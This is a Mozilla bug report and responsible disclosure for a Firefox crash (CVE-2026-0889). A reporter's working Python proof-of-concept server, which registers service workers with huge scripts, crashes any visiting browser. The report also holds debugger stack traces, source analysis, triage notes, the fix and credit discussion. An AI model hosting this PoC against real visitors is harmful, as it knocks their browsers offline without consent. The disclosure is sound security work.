Closed Bug 1999084 (CVE-2026-0889) Opened 8 months ago Closed 8 months ago

FireFox Browser Crash When Excessive Service Worker is Created

Categories

(Core :: DOM: Service Workers, defect, P2)

Firefox 144
defect

Tracking

()

RESOLVED FIXED
147 Branch
Tracking Status
firefox147 --- fixed

People

(Reporter: elyseemafranchuk, Assigned: hsingh)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-dos, reporter-external, sec-low, Whiteboard: [adv-main147+])

Attachments

(4 files)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0

Steps to reproduce:

Summary
Browser crashes after visiting a page that registers a randomized-scope Service Worker with a large

Component
DOM: Service Workers

Version
144.0.2 (earliest verified)

OS
Windows 10/11 (Build 26100) x64

Description

Overview: Visiting a site that registers a Service Worker under a unique, randomized scope crashes Firefox. The crash reason indicates an oversized string assertion in release code.

Repro frequency: Every Time

Additional builds/platforms: Firefox version 144 Linux crashes too

Please see the PoC code below. This python server is run on a malicious host, and when a victim browser connects to it, the a service worker will continuously be appended data until a break point is reached and the browser crashes. Please note that the malicious data is in a = 'A'*8000000000, and can be adjusted depending on available the system memory.

import re, random, string, urllib.parse
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer

HOST, PORT = "0.0.0.0", 80
SW_ROUTE = re.compile(r"^/sw/([a-z0-9]{10})/sw\.js$")
DEFAULT_T = 1
a = 'A'*8000000000

SW_TEMPLATE = """%a""" % a

def rid(n=10): return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))

class H(SimpleHTTPRequestHandler):
    def _nocache(self):
        self.send_header("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
        self.send_header("Pragma", "no-cache")
        self.send_header("Expires", "0")

    def do_GET(self):
        # Dynamic SW script route: /sw/<id>/sw.js
        m = SW_ROUTE.match(self.path)
        if m:
            wid = m.group(1)
            body = SW_TEMPLATE.format(worker_id=wid).encode("utf-8")
            self.send_response(200)
            self.send_header("Content-Type", "application/javascript")
            self._nocache()
            self.end_headers()
            self.wfile.write(body)
            return 

        if self.path == "/" or self.path.startswith("/index.html"):
            q = urllib.parse.urlparse(self.path).query
            t = max(1, int(urllib.parse.parse_qs(q).get("t", [DEFAULT_T])[0]) or DEFAULT_T)
            ids = [rid() for _ in range(t)]
            # JS to register each SW (no folders on disk; all served in-memory)
            reg_js = "\n".join(
                f"navigator.serviceWorker.register('/sw/{wid}/sw.js', {{ scope: '/sw/{wid}/' }}).then(r=>{{console.log('Registered {wid}', r.scope);}});"
                for wid in ids
            )
            html = f"""<!doctype html>
<html><body>
<h3>Service Worker Crash</h3>
<p>Registering <b>{t}</b> worker(s) with randomized scopes (no files written).</p>

<script>
if ('serviceWorker' in navigator) {{
  {reg_js}
}} else {{
  console.warn('Service workers not supported in this browser.');
}}
</script>
</body></html>"""
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self._nocache()
            self.end_headers()
            self.wfile.write(html.encode("utf-8"))
            return

        self.send_error(404)

if __name__ == "__main__":
    print(f"Serving on http://{HOST}:{PORT}")
    ThreadingHTTPServer((HOST, PORT), H).serve_forever()

Actual results:

The browser crashes every time the malicious page is visited, however no memory corruptions are identified at this time.

Chromium-based browsers do not crash, and instead cause a break-point on the tab, preventing the entire browser from crashing.

Expected results:

Firefox should safely reject the service worker registration when the script exceeds a reasonable size limit. For example, by throwing a TypeError in the console or showing an error in DevTools, or breaking tab instead instead of the whole browser.

The attached file is a crash report, please let me know if more information is required.

The script provided can be run with python3 on a test machine to simulate a malicious host. I apologize for not mentioning that above.

Group: firefox-core-security → dom-core-security
Component: Untriaged → DOM: Service Workers
Keywords: csectype-dos
Product: Firefox → Core

Image of assembly instruction that causes the segmentation fault on linux

value in the registers at the instruction causing the segmentation fault

Update

I have continued testing this issue on firefox nightly using ubuntu 24.40

$ uname -a
Linux C-Dell 6.14.0-35-generic #35~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Oct 14 13:55:17 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/issue
Ubuntu 24.04.3 LTS \n \l
about nightly:
146.0a1 (2025-11-08) (64-bit)

On Linux this vulnerability causes a segmentation fault due to a null pointer dereference.

These images and findings are from using gdb through rr.

The assembly instruction which causes the crash:
![[segfault_assembly_instruction.png]]

Address of instruction that caused the Segmentation fault: 0x735edb3bd0aa
Instruction: mov qword ptr [rax],rcx
(place value of rcx (qword) into the memory address held in rax)

The values in the registry at the time of execution for that instruction:
![[value_in_registers_at_fault_instruction.png]]

rax: 0x0
rcx: 0x59

Since rax is 0x0 (null) the cpu cannot write to that address.

I am still investigating further back to try and discover the root cause - but since this is currently being triaged I wanted to add my current information.

2nd Update

I downloaded firefox source and ran with symbols to find additional information about the null pointer dereference. For this analysis please note that I am using a different payload than provided and it is about 2GB in length.

Running with symbols showed me the following 2 errors:

[840993] Assertion failure: aLength <= kMax (string is too large), at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/string/nsTStringRepr.h:89
Program /home/caleb/Documents/SecRe/firefox/firefox/obj-x86_64-pc-linux-gnu/dist/bin/firefox (pid = 840993) received signal 11.

The null pointer dereference is from the function MOZ_CrashSequence and appears to be a purposeful crash.

Live debugging returned my stack:

gef➤  info stack
#0  0x00007bb728eecadf in __GI___clock_nanosleep
    (clock_id=clock_id@entry=0x0, flags=flags@entry=0x0, req=req@entry=0x7fff91e78a20, rem=rem@entry=0x7fff91e78a20) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
#1  0x00007bb728ef9a27 in __GI___nanosleep (req=req@entry=0x7fff91e78a20, rem=rem@entry=0x7fff91e78a20)
    at ../sysdeps/unix/sysv/linux/nanosleep.c:25
#2  0x00007bb728f0ec93 in __sleep (seconds=0x0) at ../sysdeps/posix/sleep.c:55
#3  0x00007bb6e239fec5 in common_crap_handler
    (signum=0xb, aFirstFramePC=0x7bb6e2360dea <nsProfileLock::FatalSignalHandler(int, siginfo_t*, void*)+522>) at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsSigHandlers.cpp:105
#4  0x00007bb6e239ffd7 in ah_crap_handler (signum=0xb)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsSigHandlers.cpp:113
#5  0x00007bb6e2360dea in nsProfileLock::FatalSignalHandler
    (signo=0xb, info=0x7fff91e78cf0, context=0x7fff91e78bc0)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/profile/nsProfileLock.cpp:186
#6  0x00007bb6e3c69260 in WasmTrapHandler (signum=0xb, info=0x7fff91e78cf0, context=0x7fff91e78bc0)
    at /home/caleb/Documents/SecRe/firefox/firefox/js/src/wasm/WasmSignalHandlers.cpp:796
#7  0x00007bb728e45330 in <signal handler called> () at /lib/x86_64-linux-gnu/libc.so.6
#8  MOZ_CrashSequence (aAddress=0x0, aLine=0x59)
    at /home/caleb/Documents/SecRe/firefox/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/Assertions.h:237
#9  0x00007bb6d85b3f37 in mozilla::detail::nsTStringLengthStorage<char16_t>::nsTStringLengthStorage
    (this=0x7fff91e79904, aLength=0x7735954b)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/string/nsTStringRepr.h:89

#8 is the null pointer dereference
#9 is the assertion error and appears to come from the file: firefox/xpcom/string/nsTStringRepr.h

snippet of nsTStringRepr.h

  64   │ // nsTStringLengthStorage is a helper class which holds the string's length and
  65   │ // provides getters and setters for converting to and from `size_t`. This is
  66   │ // done to allow the length to be stored in a `uint32_t` using assertions.
  67   │ template <typename T>
  68   │ class nsTStringLengthStorage {
  69   │  public:
  70   │   // The maximum byte capacity for a `nsTString` must fit within an `int32_t`,
  71   │   // with enough room for a trailing null, as consumers often cast `Length()`
  72   │   // and `Capacity()` to smaller types like `int32_t`.
  73   │   static constexpr size_t kMax =
  74   │       size_t{std::numeric_limits<int32_t>::max()} / sizeof(T) - 1;
  75   │   static_assert(
  76   │       (kMax + 1) * sizeof(T) <= std::numeric_limits<int32_t>::max(),
  77   │       "nsTString's maximum length, including the trailing null, must fit "
  78   │       "within `int32_t`, as callers will cast to `int32_t` occasionally");
  79   │   static_assert(((CheckedInt<uint32_t>{kMax} + 1) * sizeof(T) +
  80   │                  sizeof(mozilla::StringBuffer))
  81   │                     .isValid(),
  82   │                 "Math required to allocate a mozilla::StringBuffer for a "
  83   │                 "maximum-capacity string must not overflow uint32_t");
  84   │ 
  85   │   // Implicit conversion and assignment from `size_t` which assert that the
  86   │   // value is in-range.
  87   │   MOZ_IMPLICIT constexpr nsTStringLengthStorage(size_t aLength)
  88   │       : mLength(static_cast<uint32_t>(aLength)) {
  89   │     MOZ_RELEASE_ASSERT(aLength <= kMax, "string is too large");
  90   │   }
  91   │   constexpr nsTStringLengthStorage& operator=(size_t aLength) {
  92   │     MOZ_RELEASE_ASSERT(aLength <= kMax, "string is too large");
  93   │     mLength = static_cast<uint32_t>(aLength);
  94   │     return *this;
  95   │   }
  96   │   MOZ_IMPLICIT constexpr operator size_t() const { return mLength; }
  97   │ 
  98   │  private:
  99   │   uint32_t mLength = 0;
 100   │ };

It appears that the length of the payload is being checked after it is received by firefox, causing an error. It should be checked before it is processed - in a way which does not allow a site to crash the application.

Can you either submit the crash to crash-stats using Mozilla's crash reporter and share the link, or provide more of the stack in a comment?

Flags: needinfo?(elyseemafranchuk)

Hi, please see: https://crash-stats.mozilla.org/report/index/60ae9a4d-18a0-4a9f-89e5-910340251110
Let me know if there's anything else you need.

Flags: needinfo?(elyseemafranchuk)

Here is the full stack trace as requested of the error of the effected thread:

Thread 0x7020b391ebc0 (LWP 144662) "firefox"

Please note that stack 10 and 11 do not show the whole arguments due to a bug with GDB which attempts to print the values and freezes for very large values.

Frame 0 - 9

#0  0x00007020b32ecadf in __GI___clock_nanosleep (clock_id=clock_id@entry=0x0, flags=flags@entry=0x0, 
    req=req@entry=0x7fff8f9ea6a0, rem=rem@entry=0x7fff8f9ea6a0)
    at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
warning: 78	../sysdeps/unix/sysv/linux/clock_nanosleep.c: No such file or directory
gef➤  bt
#0  0x00007020b32ecadf in __GI___clock_nanosleep
    (clock_id=clock_id@entry=0x0, flags=flags@entry=0x0, req=req@entry=0x7fff8f9ea6a0, rem=rem@entry=0x7fff8f9ea6a0) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
#1  0x00007020b32f9a27 in __GI___nanosleep (req=req@entry=0x7fff8f9ea6a0, rem=rem@entry=0x7fff8f9ea6a0)
    at ../sysdeps/unix/sysv/linux/nanosleep.c:25
#2  0x00007020b330ec93 in __sleep (seconds=0x0) at ../sysdeps/posix/sleep.c:55
#3  0x000070206c79fec5 in common_crap_handler
    (signum=0xb, aFirstFramePC=0x70206c760dea <nsProfileLock::FatalSignalHandler(int, siginfo_t*, void*)+522>) at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsSigHandlers.cpp:105
#4  0x000070206c79ffd7 in ah_crap_handler (signum=0xb)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsSigHandlers.cpp:113
#5  0x000070206c760dea in nsProfileLock::FatalSignalHandler
    (signo=0xb, info=0x7fff8f9ea970, context=0x7fff8f9ea840)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/profile/nsProfileLock.cpp:186
#6  0x000070206e069260 in WasmTrapHandler (signum=0xb, info=0x7fff8f9ea970, context=0x7fff8f9ea840)
    at /home/caleb/Documents/SecRe/firefox/firefox/js/src/wasm/WasmSignalHandlers.cpp:796
#7  0x00007020b3245330 in <signal handler called> () at /lib/x86_64-linux-gnu/libc.so.6
#8  MOZ_CrashSequence (aAddress=0x0, aLine=0x59)
    at /home/caleb/Documents/SecRe/firefox/firefox/obj-x86_64-pc-linux-gnu/dist/include/mozilla/Assertions.h:237
#9  0x00007020629b3f37 in mozilla::detail::nsTStringLengthStorage<char16_t>::nsTStringLengthStorage
    (this=0x7fff8f9eb594, aLength=0x7735954b)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/string/nsTStringRepr.h:89

Frame 10

#10 0x00007020629c2870 in nsTSubstring<char16_t>::Adopt (this=0x7020233866a0, aData=Quit

aData contains the address of the payload with GDB would not print

Frame 11

#11 0x000070206ae05acf in mozilla::dom::serviceWorkerScriptCache::(anonymous namespace)::CompareNetwork::OnStreamComplete (this=0x702023386660, aLoader=0x70201da9a350, 
    aContext=0x0, aStatus=nsresult::NS_OK, aLen=0x7735954b, aString=Quit

aString contains the address of the payload which GDB would not print

Frame 12 - 44

#12 0x00007020630b8377 in mozilla::net::nsStreamLoader::OnStopRequest (this=0x70201da9a350, 
    request=0x70201988bc50, aStatus=nsresult::NS_OK)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/base/nsStreamLoader.cpp:86
86	        mObserver->OnStreamComplete(this, mContext, aStatus, length, elems);
#13 0x0000702063650906 in mozilla::net::InterceptFailedOnStop::OnStopRequest (this=0x7020173fe610, 
    aRequest=0x70201988bc50, aStatusCode=nsresult::NS_OK)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/protocol/http/HttpBaseChannel.cpp:1424
1424	    return mNext->OnStopRequest(aRequest, aStatusCode);
#14 0x00007020633d9d82 in mozilla::net::nsHTTPCompressConv::OnStopRequest (this=0x70202cc75bc0, 
    request=0x70201988bc50, aStatus=nsresult::NS_OK)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/streamconv/converters/nsHTTPCompressConv.cpp:384
384	  return listener->OnStopRequest(request, status);
#15 0x00007020630b6739 in mozilla::net::nsStreamListenerTee::OnStopRequest (this=0x702019863880, 
    request=0x70201988bc50, status=nsresult::NS_OK)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/base/nsStreamListenerTee.cpp:52
52	  nsresult rv = mListener->OnStopRequest(request, status);
#16 0x000070206376fac6 in mozilla::net::nsHttpChannel::ContinueOnStopRequest (this=0x70201988bc00, 
    aStatus=nsresult::NS_OK, aIsFromNet=0x1, aContentComplete=0x1)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/protocol/http/nsHttpChannel.cpp:10167
10167	    mListener->OnStopRequest(this, aStatus);
#17 0x000070206376e67b in mozilla::net::nsHttpChannel::ContinueOnStopRequestAfterAuthRetry (
    this=0x70201988bc00, aStatus=nsresult::NS_OK, aAuthRetry=0x0, aIsFromNet=0x1, aContentComplete=0x1, 
    aTransWithStickyConn=0x0)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/protocol/http/nsHttpChannel.cpp:9863
9863	  return ContinueOnStopRequest(aStatus, aIsFromNet, aContentComplete);
#18 0x000070206376c96f in mozilla::net::nsHttpChannel::OnStopRequest (this=0x70201988bc00, 
    request=0x702014380790, status=nsresult::NS_OK)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/protocol/http/nsHttpChannel.cpp:9779
9779	    return ContinueOnStopRequestAfterAuthRetry(status, authRetry, isFromNet,
#19 0x0000702063023769 in nsInputStreamPump::OnStateStop (this=0x702014380790)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/base/nsInputStreamPump.cpp:726
726	    listener->OnStopRequest(this, status);
#20 0x00007020630227e7 in nsInputStreamPump::OnInputStreamReady (this=0x702014380790, 
    stream=0x70202307d660)
    at /home/caleb/Documents/SecRe/firefox/firefox/netwerk/base/nsInputStreamPump.cpp:433
433	        nextState = OnStateStop();
#21 0x0000702062b61d26 in CallbackHolder::CallbackHolder(nsIAsyncInputStream*, nsIInputStreamCallback*, unsigned int, nsIEventTarget*)::{lambda()#1}::operator()() const (this=0x7020199abd18)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/io/nsPipe3.cpp:73
73	                                    callback->OnInputStreamReady(stream);
#22 0x0000702062b61894 in NS_NewCancelableRunnableFunction<CallbackHolder::CallbackHolder(nsIAsyncInputStream*, nsIInputStreamCallback*, unsigned int, nsIEventTarget*)::{lambda()#1}>(char const*, CallbackHolder::CallbackHolder(nsIAsyncInputStream*, nsIInputStreamCallback*, unsigned int, nsIEventTarget*)::{lambda()#1}&&)::FuncCancelableRunnable::Run() (this=0x7020199abce0)
    at /home/caleb/Documents/SecRe/firefox/firefox/obj-x86_64-pc-linux-gnu/dist/include/nsThreadUtils.h:637
637	        (*mFunc)();
#23 0x0000702062bf6733 in mozilla::RunnableTask::Run (this=0x70202c847700)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:705
705	    mRunnable->Run();
#24 0x0000702062be9525 in mozilla::TaskController::RunTask (aTask=0x70202c847700)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:196
196	    return aTask->Run();
#25 0x0000702062bef569 in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal (
    this=0x702050cfa200, aProofOfLock=...)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:1325
1325	          result = RunTask(task) == Task::TaskResult::Complete;
#26 0x0000702062bec908 in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal (
    this=0x702050cfa200, aProofOfLock=...)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:1148
1148	    taskRan = DoExecuteNextTaskOnlyMainThreadInternal(aProofOfLock);
#27 0x0000702062beccb7 in mozilla::TaskController::ProcessPendingMTTask (this=0x702050cfa200, 
    aMayWait=0x0) at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:641
641	    mMTTaskRunnableProcessedTask = ExecuteNextTaskOnlyMainThreadInternal(lock);
#27 0x0000702062beccb7 in mozilla::TaskController::ProcessPendingMTTask (this=0x702050cfa200, 
    aMayWait=0x0) at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/TaskController.cpp:641
641	    mMTTaskRunnableProcessedTask = ExecuteNextTaskOnlyMainThreadInternal(lock);
#29 0x0000702062c0c149 in mozilla::detail::RunnableFunction<mozilla::TaskController::TaskController()::$_0>::Run() (this=0x7020524e0e20)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/nsThreadUtils.h:549
549	    mFunction();
#30 0x0000702062c29e39 in nsThread::ProcessNextEvent (this=0x702072f52160, aMayWait=0x0, 
    aResult=0x7fff8f9ed247) at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/nsThread.cpp:1166
1166	        event->Run();
#31 0x0000702062c31364 in NS_ProcessNextEvent (aThread=0x702072f52160, aMayWait=0x0)
    at /home/caleb/Documents/SecRe/firefox/firefox/xpcom/threads/nsThreadUtils.cpp:461
461	  return NS_SUCCEEDED(aThread->ProcessNextEvent(aMayWait, &val)) && val;
#32 0x0000702063c0defa in mozilla::ipc::MessagePump::Run (this=0x70205249e580, aDelegate=0x702072f253e0)
    at /home/caleb/Documents/SecRe/firefox/firefox/ipc/glue/MessagePump.cpp:85
85	    bool did_work = NS_ProcessNextEvent(thisThread, false) ? true : false;
#33 0x0000702063b30ca8 in MessageLoop::RunInternal (this=0x702072f253e0)
    at /home/caleb/Documents/SecRe/firefox/firefox/ipc/chromium/src/base/message_loop.cc:368
368	  pump_->Run(this);
#34 0x0000702063b30c35 in MessageLoop::RunHandler (this=0x702072f253e0)
    at /home/caleb/Documents/SecRe/firefox/firefox/ipc/chromium/src/base/message_loop.cc:361
361	  RunInternal();
#35 0x0000702063b30bf0 in MessageLoop::Run (this=0x702072f253e0)
    at /home/caleb/Documents/SecRe/firefox/firefox/ipc/chromium/src/base/message_loop.cc:343
343	  RunHandler();
#36 0x000070206afe5634 in nsBaseAppShell::Run (this=0x702050c57a00)
    at /home/caleb/Documents/SecRe/firefox/firefox/widget/nsBaseAppShell.cpp:152
152	  MessageLoop::current()->Run();
#37 0x000070206b1204e9 in nsAppShell::Run (this=0x702050c57a00)
    at /home/caleb/Documents/SecRe/firefox/firefox/widget/gtk/nsAppShell.cpp:470
470	  nsresult rv = nsBaseAppShell::Run();
#38 0x000070206c575ec5 in nsAppStartup::Run (this=0x7020524cfc90)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/components/startup/nsAppStartup.cpp:290
290	    nsresult rv = mAppShell->Run();
#39 0x000070206c78e408 in XREMain::XRE_mainRun (this=0x7fff8f9eda30)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsAppRunner.cpp:5914
5914	    rv = appStartup->Run();
#40 0x000070206c78f347 in XREMain::XRE_main (this=0x7fff8f9eda30, argc=0x3, argv=0x7fff8f9eee18, 
    aConfig=...) at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsAppRunner.cpp:6169
6169	  rv = XRE_mainRun();
#41 0x000070206c78f94c in XRE_main (argc=0x3, argv=0x7fff8f9eee18, aConfig=...)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/nsAppRunner.cpp:6242
6242	  int result = main.XRE_main(argc, argv, aConfig);
#42 0x000070206c7a5627 in mozilla::BootstrapImpl::XRE_main (this=0x702072f16760, argc=0x3, 
    argv=0x7fff8f9eee18, aConfig=...)
    at /home/caleb/Documents/SecRe/firefox/firefox/toolkit/xre/Bootstrap.cpp:46
46	    return ::XRE_main(argc, argv, aConfig);
#43 0x000062147ae34251 in do_main (argc=0x3, argv=0x7fff8f9eee18, envp=0x7fff8f9eee38)
    at /home/caleb/Documents/SecRe/firefox/firefox/browser/app/nsBrowserApp.cpp:268
268	  return gBootstrap->XRE_main(argc, argv, config);
#44 0x000062147ae33afe in main (argc=0x3, argv=0x7fff8f9eee18, envp=0x7fff8f9eee38)
    at /home/caleb/Documents/SecRe/firefox/firefox/browser/app/nsBrowserApp.cpp:532
532	  int result = do_main(argc, argv, envp);
See Also: → 1999578
Duplicate of this bug: 1999578
Blocks: eviltraps
Group: dom-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-low

Hi, please let us know the patching window and whether this is eligible for a cve.

Harveer, could you take a look on this bug.

According to the crash stacks from the above comments, here could the crash points.

It seems that the data string is too large, https://searchfox.org/firefox-main/source/xpcom/string/nsTStringRepr.h#89, and cause the release assertion.

Severity: -- → S3
Priority: -- → P2
Flags: needinfo?(hsingh)
No longer duplicate of this bug: 1999578
Assignee: nobody → hsingh
Flags: needinfo?(hsingh)

Hi, thank you again for preparing the patch. I understand it’s still moving through the review process, but my colleague and I wanted to request confirmation regarding researcher credit, including whether a CVE will be assigned for this issue.

Because the vulnerability results in a full browser crash, it does have a measurable impact on availability within the CIA triad, so we believe it meets the bar for CVE assignment. We’d greatly appreciate clarification on how this will be handled.

Flags: needinfo?(jjalkanen)

(In reply to kva55 from comment #13)

Hi, thank you again for preparing the patch. I understand it’s still moving through the review process, but my colleague and I wanted to request confirmation regarding researcher credit, including whether a CVE will be assigned for this issue.

Because the vulnerability results in a full browser crash, it does have a measurable impact on availability within the CIA triad, so we believe it meets the bar for CVE assignment. We’d greatly appreciate clarification on how this will be handled.

--> Tom

Flags: needinfo?(jjalkanen) → needinfo?(tom)
Pushed by hsingh@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/e784d5c2e5c5 https://hg.mozilla.org/integration/autoland/rev/3bd39427ddf4 Handle and return error when a worker script length is over the threshold.r=edenchuang,dom-worker-reviewers
Status: NEW → RESOLVED
Closed: 8 months ago
Resolution: --- → FIXED
Target Milestone: --- → 147 Branch

Hi Tom, the bug is closed, so can we please get credit please?

We would really appreciate any feedback on this.

I apologize my ignorance, however, if we submit through mitre we may encounter a situation where we create duplicates. I want to avoid this route as it would be confusing.

How did you want us to proceed?

Flags: needinfo?(jjalkanen)

Because this crashes the browser process itself (not just the content process) it is eligible for a CVE. CVEs are assigned immediately before the release it is fixed in ships, which based on our release calendar should be January 13, so you can expect a CVE assignment to occur the week before.

Flags: needinfo?(tom)
Flags: needinfo?(jjalkanen)
Whiteboard: [adv-main147+]

Hi, my colleague and I wanted to check in on the patch and mention how we wanted to be credited. Below is how we’d like to be mentioned.

Elysee Franchuk, Caleb Lerch

Thanks for the update.

Alias: CVE-2026-0889
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: